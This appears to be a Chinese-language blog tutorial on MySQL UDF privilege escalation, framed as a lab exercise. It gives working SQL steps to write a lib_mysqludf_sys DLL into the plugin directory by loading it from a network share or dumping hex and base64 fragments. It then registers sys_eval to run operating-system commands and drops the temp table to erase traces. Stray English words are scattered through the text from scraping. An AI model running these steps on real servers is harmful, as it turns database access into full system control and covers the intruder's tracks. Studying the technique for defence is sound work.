因为udf提权是须要构造UDF函数文件的,涉及到了写文件。因此本次实验已经将mysql的配置作了改动:–secure-file-priv=‘’
。php
剧情须知:html
secure_file_priv 为 NULL 时,表示限制mysqld不容许导入或导出。 secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其余目录不能执行。 secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
解决方法: 找到'my.cnf'或'my.ini',加入如下语句后重启mysql:mysql
secure_file_priv=''
0x01 前言
首先,想要知道udf提权是怎么回事,首先要先知道udf是什么。web
udf = 'user defined function'
即‘用户自定义函数’。sql
经过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。shell
udf在mysql5.1之后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,经常使用c语言编写。数据库
这里咱们新建了一个非root用户: 附上mysql用户相关的操做语句:编程
#查看现有用户 select host,user,authentication_string from mysql.user; #新建用户 create user "username"@"host" identified by "password"; #举个栗子 mysql->create user 'test'@'%' identified by '123'; host="localhost"为本地登陆用户,host="ip"为ip地址登陆,host="%",为外网ip登陆 #删除用户 drop user 'username'@'host'; #受权 #授予用户经过外网IP对于该数据库的所有权限 grant all privileges on `test`.* to 'test'@'%' ; #授予用户在本地服务器对该数据库的所有权限 grant all privileges on `test`.* to 'test'@'localhost'; grant select on test.* to 'user1'@'localhost'; /*给予查询权限*/ grant insert on test.* to 'user1'@'localhost'; /*添加插入权限*/ grant delete on test.* to 'user1'@'localhost'; /*添加删除权限*/ grant update on test.* to 'user1'@'localhost'; /*添加权限*/ flush privileges; /*刷新权限*/ #查看权限 show grants; #查看某个用户的权限 show grants for 'jack'@'%'; #删除权限 revoke delete on test.* from 'jack'@'localhost';
0x02 如何使用udf
假设个人udf文件名为‘udf.dll’,存放在Mysql根目录(经过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,能够执行系统任意命令。若是我如今就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。由于咱们仅仅是把‘udf.dll’放到了某个文件夹里,并无引入。相似于面向对象编程时引入包同样,若是没有引入包,那么这个包里的类你是用不了的。 因此,咱们应该把‘udf.dll’中的自定义函数引入进来。windows
看看实例用法:服务器
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),咱们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。 至此咱们已经引入了sys_eval函数,下面就是使用了。 这个函数用于执行系统命令,用法以下:
select sys_eval('cmd command');
0x03 提权流程
如今咱们已经知道了udf是什么,以及如何引入udf。下面咱们要关注的就是提权了。其实到这里,提权已经结束了,由于对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,因此这也就是最高权限了。
下面来整理一下思路:
提权思路
- 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
- 从udf文件中引入自定义函数(user defined function)
- 执行自定义函数
先看第一步,拿到一个网站的webshell以后,在指定位置建立udf文件。如何建立?先别忘了,如今连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,必定要选择对版本,不然会显示:Can't open shared library 'udf.dll'。
UDF提权版本条件
- Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
- Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
登陆到MySQL后,查看一下当前用户的权限:
select * from mysql.user where user = substring_index(user(), '@', 1) ;
能够看到该用户的权限很是的高,而且能够对文件进行读写操做,所以咱们能够考虑编写UDF DLL库以得到代码执行的能力。
而后来获取当前数据库及操做系统的架构状况:
select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';
从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,咱们可使用@@ plugin_dir
全局变量找到该目录。该变量能够在mysql.ini文件中查看和编辑。
select @@plugin_dir ;
show variables like 'plugin%';
能够经过mysqld更改plugin的目录位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另外一种方法是编写一个新的mysql配置文件,并经过–defaults-file参数将其传递给mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的内容以下:
[mysqld] plugin_dir = C:\\temp\\plugins\\
在旧版本中,你能够将DLL文件上传到如下位置并建立新的UDF函数。
@@datadir @@basedir\bin C:\windows C:\windows\system C:\windows\system32
上传UDF文件
有不少方法能够作到这一点
方法1
load_file函数支持网络路径。若是你能够将DLL复制到网络共享中,那么你就能够直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法2
另外一种方法是将整个DLL文件以十六进制编码后写入磁盘。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法3
还有一种方法是建立一个表并将二进制数据插入到十六进制编码流中。你能够经过insert语句或将其分解为多个部分,而后经过update语句拼接二进制数据。
create table temp(data longblob); insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法4
或者你也能够直接从磁盘将文件从网络共享加载到上面建立的表中,或使用“快速导入数据(load data infile)”语句在本地加载。将文件像上面显示的那样转换为十六进制,并在写入磁盘时解码。
load data infile '\\\\192.168.0.19\\network\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
其余
这里有个好消息,就是从MySQL 5.6.1和MariaDB 10.0.5开始,新增了to_base64和from_base64函数。若是你是一个善于绕过SQL注入WAF的人,相信你已经在使用这些函数了(提示:路由查询注入)。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.b64';
你能够编辑base64文件并经过如下方式将其dump到插件目录。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4 s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
以后,你能够像这样将整个文件传递给mysql。
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
你也能够从网络共享写入base64编码文件或使用“快速导入数据(load data infile)”语句在本地加载并经过如下语句dump。
select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
构造高权函数
可以走到这里,没有报错的话就说明已经在目标主机上成功生成了udf文件。
下面要构造udf函数:
1. DROP TABLE tmp; //为了删除痕迹,把刚刚新建的udftmp表删掉 2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
这里构造的是,执行系统命令并在屏幕上经过标准输出显示的函数。除此以外还有许多其余的函数,文章末尾有freebuf的大佬有写的文章:
select * from mysql.func where name = 'sys_eval';
select sys_eval('dir');
若是须要删除这个函数的话:
drop function sys_eval;
0x04 参考连接
https://www.cnblogs.com/litlife/p/9030673.html4
http://www.javashuo.com/article/p-szmmydzl-dt.html